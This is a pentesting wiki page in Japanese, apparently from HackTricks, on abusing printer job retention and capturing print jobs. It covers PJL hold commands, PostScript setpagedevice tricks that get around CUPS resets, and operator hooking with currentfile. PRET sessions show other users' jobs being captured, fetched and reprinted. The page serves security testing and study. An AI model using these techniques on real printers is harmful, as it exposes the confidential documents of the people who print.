hacktricks/network-services-pentesting/pentesting-printers/print-job-retention.md

10 KiB
Raw Blame History

Learn AWS hacking from zero to hero with htARTE (HackTricks AWS Red Team Expert)!

他のHackTricksをサポートする方法:

ジョブ保持

一部のプリンターは、ウェブサーバーからアクセス可能な保存されたプリントジョブを持っています。通常、ジョブ保持は特定のプリントジョブに対して明示的に活性化する必要があり、標準のPJLコマンドまたは独自のPostScriptコードを使用して行うことができます。その後、ジョブはメモリに保持され、コントロールパネルから再印刷することができます。

PJL

以下に示すように、PJL HOLD変数を設定することで、現在のドキュメントに対して正当なジョブ保持を有効にすることができます

@PJL SET HOLD=ON
[actual data to be printed follows]

ジョブ保留はメモリ内に保持され、プリンターのコントロールパネルから再印刷することができます。この機能は様々なプリンターでサポートされていますが、永続的なジョブ保持を設定できるのは一部のEpsonデバイスのみのようです。@PJL DEFAULT HOLD=ONを使用して設定します。

この攻撃をテストする方法は?

PRET のpjlモードでholdコマンドを使用し、永続的なジョブ保持が設定できるかどうかを確認します。

./pret.py -q printer pjl
Connection to printer established

Welcome to the pret shell. Type help or ? to list commands.
printer:/> hold
Setting job retention, reconnecting to see if still enabled
Retention for future print jobs: OFF

PostScript

PostScriptはモデルやベンダーに特有の類似の機能を提供します。HP LaserJet 4kシリーズや様々なKyoceraプリンターでは、以下のコマンドをPostScriptドキュメントの先頭に追加することでジョブ保持を有効にすることができます

<< /Collate true /CollateDetails
<< /Hold 1 /Type 8 >> >> setpagedevice
PostScriptジョブ保持を永続的に有効にすることは理論的に可能ですが、この設定はCUPSによって各印刷ジョブの開始時に`<< /Collate false >> setpagedevice`を使用して明示的にリセットされます。しかし、攻撃者はこの保護メカニズムを回避するために、`setpagedevice`オペレーターを再定義して全く効果がないようにすることができます。

**この攻撃をテストする方法は?**

psモードで[**PRET**](https://github.com/RUB-NDS/PRET)の`hold`コマンドを使用します:
./pret.py -q printer ps
Connection to printer established

Welcome to the pret shell. Type help or ? to list commands.
printer:/> hold
Job retention enabled.

ジョブキャプチャ

上記のように、印刷ダイアログでジョブ保持をアクティブにすることは可能ですが、一般的ではありません。しかし、PostScriptを使用すると、現在の印刷ジョブを完全に制御でき、startjobオペレーターを使用すると、サーバーループを抜け出し、将来のジョブにアクセスすることも可能です。この機能は、PostScriptがプリンタドライバとして使用されている場合、すべてのドキュメントをキャプチャする可能性があります。

PostScript

任意のPostScriptオペレーターにフックする能力により、外部の印刷ジョブを操作し、アクセスすることが可能です。プリンターに送信される実際のデータストリームを解析するために、PostScript言語のかなりクールな機能を利用できますcurrentfileオペレーターを使用して、自身のプログラムコードをデータとして読み取ることです。この方法で、PostScriptインタープリターによって処理されるデータストリーム全体にアクセスし、プリンタデバイス上のファイルに読み取りとして保存することができます。プリンタがファイルシステムアクセスを提供していない場合、キャプチャされたドキュメントはメモリ内に保存されることがあります。例えば、永続的なPostScript辞書内です。
実際の問題は、どのオペレーターをフックするべきかを決定することです。なぜなら、このオペレーターがPostScriptインタープリターによって処理されるまで、データストリームにアクセスできないからです。攻撃者が印刷ジョブを最初からキャプチャしたい場合、再定義されたオペレーターはPostScriptドキュメントに含まれる最初のオペレーターでなければなりません。幸いなことに、CUPSで印刷されたすべてのドキュメントはcurrentfile /ASCII85Decode filter /LZWDecode filter cvx execで始まる固定構造に圧縮されます。このような固定構造を前提として、攻撃者はドキュメントの最初からキャプチャし、その後ファイルを実行(つまり印刷)することができます。CUPS以外の印刷システムについても、この攻撃は可能であるべきですが、オペレーターを適応させる必要があります。この方法では、通常メディアサイズ、ユーザー名、ジョブ名を含むPostScriptヘッダーはキャプチャできません。なぜなら、実際のドキュメントの始まりで最初にフックするからです。もう一つの一般的な戦略は、プリンターがサポートしている場合ほとんどのプリンターがそうですBeginPageシステムパラメーターを設定することです。この脆弱性は、PostScript標準によって定義された言語構造が悪用されているだけで、印刷デバイスに何十年も存在している可能性があります。

PRETcaptureコマンドをpsモードで使用します

./pret.py -q printer ps
Connection to printer established

Welcome to the pret shell. Type help or ? to list commands.

printer:/> capture
Print job operations:  capture <operation>
capture start   - Record future print jobs.
capture stop    - End capturing print jobs.
capture list    - Show captured print jobs.
capture fetch   - Save captured print jobs.
capture print   - Reprint saved print jobs.
printer:/> capture start
Future print jobs will be captured in memory!
printer:/> exit
現在、任意のドキュメントを印刷します印刷チャネルをブロックしないように、PRETが切断されていることを確認してください。その後、キャプチャされたドキュメントをリスト表示、取得、または再印刷できます
./pret.py -q printer ps
Connection to printer established

Welcome to the pret shell. Type help or ? to list commands.
printer:/> capture list
Free virtual memory: 16.6M | Limit to capture:  5.0M
date          size  user           jobname                 creator
───────────────────────────────────────────────────────────────────────────────
Jan 25 18:38  3.1M  -              -                       -
Jan 25 18:40  170K  -              -                       -
printer:/> capture fetch
Receiving capture/printer/690782792
3239748 bytes received.
Receiving capture/printer/690646210
174037 bytes received.
printer:/> capture print
printing...
printing...
2 jobs reprinted
printer:/> capture stop
Stopping job capture, deleting recorded jobs
htARTE (HackTricks AWS Red Team Expert)でAWSハッキングをゼロからヒーローまで学ぶ

HackTricksをサポートする他の方法: